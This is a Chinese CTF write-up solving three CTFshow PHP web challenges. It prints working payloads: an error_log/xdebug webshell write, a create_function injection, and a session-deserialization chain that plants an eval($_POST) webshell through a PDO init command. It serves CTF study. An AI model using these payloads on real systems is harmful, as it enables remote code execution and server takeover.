[CTFshow 紅包挑戰] 刷題記錄

文章目錄

    • 紅包挑戰7
    • 紅包挑戰8
    • 紅包挑戰9


紅包挑戰7

考點:xdebug拓展

源碼

 <?php
highlight_file(__FILE__);
error_reporting(2);extract($_GET);
ini_set($name,$value);system("ls '".filter($_GET[1])."'"
);function filter($cmd){$cmd = str_replace("'","",$cmd);$cmd = str_replace("\\","",$cmd);$cmd = str_replace("`","",$cmd);$cmd = str_replace("$","",$cmd);return $cmd;
}

分析一下
error_reporting(2);這將錯誤報告級別設置為僅顯示警告,這可能是為了隱藏潛在的錯誤消息,使用戶看不到;接著extract函數存在變量覆蓋;ini_set函數可以修改php拓展;然后字符串拼接命令執行,不過只有ls功能;最后給了黑名單過濾

我們簡單測試下,發現flag的位置
在這里插入圖片描述那么我們的問題就是如何讀取

思路:利用extract函數變量覆蓋和ini_set函數修改php配置選項,使得利用拓展實現RCE
我們看一下有什么可用的拓展,通常在/usr/lib/php/extensions下,但是本題的路徑為/usr/local/lib/php/extensions
在這里插入圖片描述讀取一下,發現存在xdebug拓展

?1=/usr/local/lib/php/extensions/no-debug-non-zts-20180731

在這里插入圖片描述結合本題特殊的error_reporting(2),翻一下資料,發現xdebug拓展在處理截斷問題時會將異常payload回顯。而system剛好可以用0字節進行截斷來觸發異常,也就是%00截斷。我們已知可控php配置選項,由于不會設置為2不會回顯報錯,那么我們可以利用error_log函數控制報錯信息回顯的路徑
payload如下
(注意命令的雙引號,單引號被過濾了)

?name=error_log&value=/var/www/html/hack.php&1=%00<?php system("ls /");?>

在這里插入圖片描述訪問/hack.php,然后再修改命令即可

在這里插入圖片描述

紅包挑戰8

考點:create_function注入

源碼

 <?php
highlight_file(__FILE__);
error_reporting(0);extract($_GET);
create_function($name,base64_encode($value))();

存在變量覆蓋,create_function函數第二個參數無法實現注入
由于我們第一個參數name也是可控的,payload如下

?name=){}system('tac /flag');//

在這里插入圖片描述

紅包挑戰9

考點:session反序列化

題目是給了附件的

我們先看common.php

<?phpclass user{public $id;public $username;private $password;public function __toString(){return $this->username;}}class cookie_helper{private $secret = "*************"; //敏感信息打碼public  function getCookie($name){return $this->verify($_COOKIE[$name]);}public function setCookie($name,$value){$data = $value."|".md5($this->secret.$value);setcookie($name,$data);}private function verify($cookie){$data = explode('|',$cookie);if (count($data) != 2) {return null;}return md5($this->secret.$data[0])=== $data[1]?$data[0]:null;}
}class mysql_helper{private $db;public $option = array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION);public function __construct(){$this->init();}public function __wakeup(){$this->init();}private function init(){$this->db = array('dsn' => 'mysql:host=127.0.0.1;dbname=blog;port=3306;charset=utf8','host' => '127.0.0.1','port' => '3306','dbname' => '****', //敏感信息打碼'username' => '****',//敏感信息打碼'password' => '****',//敏感信息打碼'charset' => 'utf8',);}public function get_pdo(){try{$pdo = new PDO($this->db['dsn'], $this->db['username'], $this->db['password'], $this->option);}catch(PDOException $e){die('數據庫連接失敗:' . $e->getMessage());}return $pdo;}}class application{public $cookie;public $mysql;public $dispather;public $loger;public $debug=false;public function __construct(){$this->cookie = new cookie_helper();$this->mysql = new mysql_helper();$this->dispatcher = new dispatcher();$this->loger = new userLogger();$this->loger->setLogFileName("log.txt");}public function register($username,$password){$this->loger->user_register($username,$password);$pdo = $this->mysql;$sql = "insert into user(username,password) values(?,?)";$pdo = $this->mysql->get_pdo();$stmt = $pdo->prepare($sql);$stmt->execute(array($username,$password));return $pdo->lastInsertId() > 0;}public function login($username,$password){$this->loger->user_login($username,$password);$sql = "select id,username,password from user where username = ? and password = ?";$pdo = $this->mysql->get_pdo();$stmt = $pdo->prepare($sql);$stmt->execute(array($username,$password));$ret = $stmt->fetch();return $ret['password']===$password;}public function getLoginName($name){$data = $this->cookie->getCookie($name);if($data === NULL && isset($_GET['token'])){session_decode($_GET['token']);$data = $_SESSION['user'];}return $data;}public function logout(){$this->loger->user_logout();setCookie("user",NULL);}private function log_last_user(){$sql = "select username,password from user order by id desc limit 1";$pdo = $this->mysql->get_pdo();$stmt = $pdo->prepare($sql);$stmt->execute();$ret = $stmt->fetch();}public function __destruct(){if($this->debug){$this->log_last_user();}}}class userLogger{public $username;private $password;private $filename;public function __construct(){$this->filename = "log.txt_$this->username-$this->password";}public function setLogFileName($filename){$this->filename = $filename;}public function __wakeup(){$this->filename = "log.txt";}public function user_register($username,$password){$this->username = $username;$this->password = $password;$data = "操作時間:".date("Y-m-d H:i:s")."用戶注冊: 用戶名 $username 密碼 $password\n";file_put_contents($this->filename,$data,FILE_APPEND);}public function user_login($username,$password){$this->username = $username;$this->password = $password;$data = "操作時間:".date("Y-m-d H:i:s")."用戶登陸: 用戶名 $username 密碼 $password\n";file_put_contents($this->filename,$data,FILE_APPEND);}public function user_logout(){$data = "操作時間:".date("Y-m-d H:i:s")."用戶退出: 用戶名 $this->username\n";file_put_contents($this->filename,$data,FILE_APPEND);}public function __destruct(){$data = "最后操作時間:".date("Y-m-d H:i:s")." 用戶名 $this->username 密碼 $this->password \n";$d = file_put_contents($this->filename,$data,FILE_APPEND);}
}
class dispatcher{public function sendMessage($msg){echo "<script>alert('$msg');window.history.back();</script>";}public function redirect($route){switch($route){case 'login':header("location:index.php?action=login");break;case 'register':header("location:index.php?action=register");break;default:header("location:index.php?action=main");break;}}
}

不難發現存在文件寫入的功能考慮反序列化,但是沒有發現unserialize函數,不過我們分析下面代碼

public function getLoginName($name){$data = $this->cookie->getCookie($name);if($data === NULL && isset($_GET['token'])){session_decode($_GET['token']);$data = $_SESSION['user'];}return $data;}

語句session_decode($_GET['token']);往session里面存放對象
語句$data = $_SESSION['user'];往session里面拿取對象,拿取名字為user的對象。

所以滿足session反序列化條件的情況下,我們可以構造token=user| 惡意序列化字符串來實現命令執行
(注:token的格式是因為session的存儲格式為鍵名 + 豎線 + 經過 serialize() 函數反序列處理的值

我們訪問main.php,發現存在調用getLoginName()

<?php$name =  $app->getLoginName('user');if($name){echo "恭喜你登陸成功 <a href='/index.php?action=logout'>退出登陸</a>";
}else{include 'login.html';
}

而要想訪問main.php調用此方法就要繼續看到index.php

<?phperror_reporting(0);
session_start();
require_once 'common.php';$action = $_GET['action'];
$app = new application();if(isset($action)){switch ($action) {case 'do_login':$ret = $app->login($_POST['username'],$_POST['password']);if($ret){$app->cookie->setcookie("user",$_POST['username']);$app->dispatcher->redirect('main');}else{echo "登錄失敗";}break;case 'logout':$app->logout();$app->dispatcher->redirect('main');break;    case 'do_register':$ret = $app->register($_POST['username'],$_POST['password']);if($ret){$app->dispatcher->sendMessage("注冊成功,請登陸");}else{echo "注冊失敗";}break;default:include './templates/main.php';break;}
}else{$app->dispatcher->redirect('main');
}

可以發現啟用session_start();(說明思路沒錯),接收action參數進行switch選擇判斷,如果沒找到則跳轉main.php,所以我們只需要傳參action不為那三個值即可

思路捋清楚后我們看向如何反序列化,前提是if($data === NULL && isset($_GET['token']))
data的值是由getCookie()得到的,我們分析下cookie_helper類

class cookie_helper{private $secret = "*************"; //敏感信息打碼public  function getCookie($name){return $this->verify($_COOKIE[$name]);}public function setCookie($name,$value){$data = $value."|".md5($this->secret.$value);setcookie($name,$data);}private function verify($cookie){$data = explode('|',$cookie);if (count($data) != 2) {return null;}return md5($this->secret.$data[0])=== $data[1]?$data[0]:null;}
}

verify()首先用|將cookie值隔開,判斷數量是否為2,如果不為2返回null(關鍵點在這)。
如果返回null的話data值為null,并且我們同時傳參token,那么就可以實現session反序列化

cookie值的生成方式也告訴我們$data = $value."|".md5($this->secret.$value);,我們可以將注冊的用戶名添加一個|,然后拼接的時候就會出現兩個|,也就是數量為3實現返回null

注冊用戶名rev1ve|666,登錄得到cookie
在這里插入圖片描述然后我們簡單構造字符串

<?phpclass userLogger{public $username="<?php eval(\$_POST[1]);?>";private $password="123456";
}
$a=new userLogger();
echo urlencode(serialize($a));

我們可以訪問log.txt看看(帶上cookie),發現成功寫入
在這里插入圖片描述
那么我們getshell的方式就是寫馬

題目應該是開啟了PDO擴展(common.php中出現的mysql_helper類),用來連接數據庫。
利用PDO::MYSQL_ATTR_INIT_COMMAND

連接MySQL服務器時執行的命令(SQL語句)。將在重新連接時自動重新執行。注意,這個常量只能在構造一個新的數據庫句柄時在driver_options數組中使用。

構造惡意命令select '<?php eval($_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';

我們看向mysql_helper類,執行命令如下

public $option = array(PDO::MYSQL_ATTR_INIT_COMMAND => “select '<?php eval($_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php';”
);

往前推,可以發現application類實例化的時候會調用mysql_helper類
連接數據庫就得執行mysql_helper::get_pdo()方法,然后必須執行application::log_last_user()方法

private function log_last_user(){$sql = "select username,password from user order by id desc limit 1";$pdo = $this->mysql->get_pdo();$stmt = $pdo->prepare($sql);$stmt->execute();$ret = $stmt->fetch();
}

往下看,發現debug的值為True才行

public function __destruct(){if($this->debug){$this->log_last_user();}
}

exp如下

<?php
class mysql_helper{public $option = array(PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?php eval(\$_POST[1]);phpinfo();?>' into outfile '/var/www/html/6.php';");
}class application{public $debug=true;public $mysql;
}$a=new application();
$b=new mysql_helper();
$a->mysql=$b;
echo urlencode(serialize($a));

直接隨便抓包一個界面,修改cookie為我們注冊rev1ve|666的,添加payload
在這里插入圖片描述
然后成功訪問得到flag
在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/212052.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/212052.shtml
英文地址,請注明出處:http://en.pswp.cn/news/212052.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

1832_org-mode的注釋處理

Grey # :OPTIONS ^:nil org-mode的注釋處理 關于這部分其實比較簡單&#xff0c;在我現在的使用訴求上來說要求不多。但是我覺得如果考慮以后把文學式編程作為一種開發的主要體驗的話&#xff0c;掌握這樣的操作很有必要。因為我可以控制部分信息的輸出。 自然&#xff0c;控…

LeetCode-數組-重疊、合并、覆蓋問題-中等難度

435. 無重疊區間 我認為區間類的題型&#xff0c;大多數考驗的是思維能力&#xff0c;以及編碼能力&#xff0c;該類題型本身并無什么算法可言&#xff0c;主要是思維邏輯&#xff0c;比如本題實際上你只需要能夠總結出重疊與不重疊的含義&#xff0c;再加上一點編碼技巧&#…

go-zero開發入門-API服務開發示例

接口定義 定義 API 接口文件 接口文件 add.api 的內容如下&#xff1a; syntax "v1"info (title: "API 接口文件示例"desc: "演示如何編寫 API 接口文件"author: "一見"date: "2023年12月07日"version: "…

Spring Boot 優雅地處理重復請求

前 言 對于一些用戶請求&#xff0c;在某些情況下是可能重復發送的&#xff0c;如果是查詢類操作并無大礙&#xff0c;但其中有些是涉及寫入操作的&#xff0c;一旦重復了&#xff0c;可能會導致很嚴重的后果&#xff0c;例如交易的接口如果重復請求可能會重復下單。 重復的場…

Verilog基礎:$random系統函數的使用

相關閱讀 Verilog基礎?編輯https://blog.csdn.net/weixin_45791458/category_12263729.html $random系統函數語法的BNF范式如下所示&#xff0c;有關BNF范式相關內容&#xff0c;可以瀏覽以往文章Verilog基礎&#xff1a;巴科斯范式(BNF)。 $random系統函數在每次調用時返回一…

【IDEA】IntelliJ IDEA中進行Git版本控制

本篇文章主要記錄一下自己在IntelliJ IDEA上使用git的操作&#xff0c;一個新項目如何使用git進行版本控制。文章使用的IDEA版本 IntelliJ IDEA Community Edition 2023.3&#xff0c;遠程倉庫為https://gitee.com/ 1.配置Git&#xff08;File>Settings&#xff09; 2.去Git…

[gRPC實現go調用go]

1什么是RPC RPC&#xff1a;Remote Procedure Call&#xff0c;遠程過程調用。簡單來說就是兩個進程之間的數據交互。正常服務端的接口服務是提供給用戶端(在Web開發中就是瀏覽器)或者自身調用的&#xff0c;也就是本地過程調用。和本地過程調用相對的就是&#xff1a;假如兩個…

深度優先遍歷(DFS)

時間復雜度與深搜一致&#xff1b;

STM32 定時器總結

縮寫 ARR: Auto-Reload Register&#xff08;保存定時器的計數范圍&#xff09; PSC: Prescaler register&#xff08;預分頻器寄存器&#xff0c;根據設置的分頻因子N&#xff0c;計數N個定時器時鐘脈沖后&#xff0c;產生一個CNT計數&#xff0c;以此實現分頻功能&#xff0…

LeetCode 2048. 下一個更大的數值平衡數

一、題目 1、題目描述 如果整數 x 滿足&#xff1a;對于每個數位 d &#xff0c;這個數位 恰好 在 x 中出現 d 次。那么整數 x 就是一個 數值平衡數 。 給你一個整數 n &#xff0c;請你返回 嚴格大于 n 的 最小數值平衡數。 0 < n < 1e6 2、接口描述 public:int nextB…

Android渲染-AHardwareBuffer

本文主要從應用的角度介紹android的native層AHardwareBuffer創建紋理以及保存渲染數據。 HardwareBuffer 要介紹native層的AHardwareBuffer&#xff0c;就需要先從Java層的HardwareBuffer說起。Android官方對于HardwareBuffer介紹如下&#xff1a; HardwareBuffer wraps a na…

HttpURLConnection OOM問題記錄

使用HttpURLConnection 上傳大文件&#xff0c;會出現內存溢出問題&#xff1a; 觀察HttpURLConnection 源碼&#xff1a; Overridepublic synchronized OutputStream getOutputStream() throws IOException {connecting true;SocketPermission p URLtoSocketPermission(th…

【接口分享】熱門好用的API,含免費次數

語音驗證碼短信&#xff1a;撥打電話告知用戶驗證碼&#xff0c;實現信息驗證。短信驗證碼&#xff1a;可用于登錄、注冊、找回密碼、支付認證等等應用場景。支持三大運營商&#xff0c;3秒可達&#xff0c;99.99&#xff05;到達率&#xff0c;支持大容量高并發。通知短信&…

基于SSM的點餐系統的設計與實現

末尾獲取源碼 開發語言&#xff1a;Java Java開發工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;Vue 數據庫&#xff1a;MySQL5.7和Navicat管理工具結合 服務器&#xff1a;Tomcat8.5 開發軟件&#xff1a;IDEA / Eclipse 是否Maven項目&#xff1a;是 目錄…

mysql設置為密碼登錄

要設置Ubuntu上的MySQL需要密碼登錄&#xff0c;你可以使用以下步驟&#xff1a; 打開終端。 輸入以下命令登錄到 MySQL 服務器&#xff1a; sudo mysql -u root -p按Enter后&#xff0c;系統會要求輸入密碼。如果是第一次登錄&#xff0c;你可能需要直接按Enter鍵&#xff08…

【已解決】解決UbuntuKali無法進行SSH遠程連接

目錄 Ubuntu20.04配置SSH遠程連接Kali Linux配置SSH遠程連接 Ubuntu20.04配置SSH遠程連接 首先更新安裝包 sudo apt-get update 下載SSH服務 sudo apt install openssh-server 查看SSH服務 service ssh status 打開 /etc/ssh/sshd_config文件修改配置文件 將PermitRootLog…

知識筆記(五十二)———MySQL 刪除數據表

MySQL中刪除數據表是非常容易操作的&#xff0c;但是你在進行刪除表操作時要非常小心&#xff0c;因為執行刪除命令后所有數據都會消失。 語法 以下為刪除 MySQL 數據表的通用語法&#xff1a; DROP TABLE table_name ; -- 直接刪除表&#xff0c;不檢查是否存在 或 DROP…

基于Debain安裝 Docker 和 Docker Compose

一、安裝Docker # 先升級一下系統 (Ubuntu / Debian 系) sudo apt-get update sudo apt-get upgrade# 如果你是 CentOS、紅帽系列則使用&#xff1a; yum update yum upgrade# 安裝 Docker curl -fsSL https://get.docker.com -o get-docker.sh sudo sh get-docker.sh二、Dock…

LeetCode 0070. 爬樓梯:動態規劃(遞推)

【LetMeFly】70.爬樓梯&#xff1a;動態規劃&#xff08;遞推&#xff09; 力扣題目鏈接&#xff1a;https://leetcode.cn/problems/climbing-stairs/ 假設你正在爬樓梯。需要 n 階你才能到達樓頂。 每次你可以爬 1 或 2 個臺階。你有多少種不同的方法可以爬到樓頂呢&#x…

NVIDIA Jetson NX ubuntu20.04刪除多余版本沖突的Boost庫

參考Ubuntu16.04 卸載舊版本Boost庫并安裝新版本 卸載 刪除/usr/local/include/boost文件夾&#xff0c;刪除/usr/local/lib中和boost有關的文件,以及/usr/local/lib/cmake/中boost的cmake文件 cd /usr/local/lib/ ls | grep boost sudo rm -rf /usr/local/include/boost su…